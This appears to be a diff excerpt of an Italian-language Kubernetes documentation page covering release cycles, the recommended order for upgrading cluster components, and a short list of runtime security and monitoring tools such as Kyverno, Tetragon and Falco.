- Correzioni di bug e patch di sicurezza.
|
||||
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Ogni 3 mesi esce una nuova minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Ogni 3 mesi viene rilasciata una nuova minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
|
||||
**Il modo migliore per aggiornare un Kubernetes Cluster è (da** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
|
||||
- Aggiorna i componenti del Master Node seguendo questa sequenza:
|
||||
- etcd (tutte le istanze).
|
||||
- kube-apiserver (tutti gli host del control plane).
|
||||
- kube-apiserver (tutti i control plane hosts).
|
||||
- kube-controller-manager.
|
||||
- kube-scheduler.
|
||||
- cloud controller manager, se lo usi.
|
||||
- cloud controller manager, se ne usi uno.
|
||||
- Aggiorna i componenti dei Worker Node come kube-proxy, kubelet.
|
||||
|
||||
## Monitoraggio e sicurezza di Kubernetes:
|
||||
|
||||
- Kyverno Policy Engine
|
||||
- Cilium Tetragon - osservabilità della sicurezza e enforcement a runtime basati su eBPF
|
||||
- Cilium Tetragon - osservabilità della sicurezza basata su eBPF e enforcement a runtime
|
||||
- Policy di sicurezza di rete
|
||||
- Falco - monitoraggio e rilevamento della sicurezza a runtime
|
||||
|
||||
|
||||
Reference in New Issue
Block a user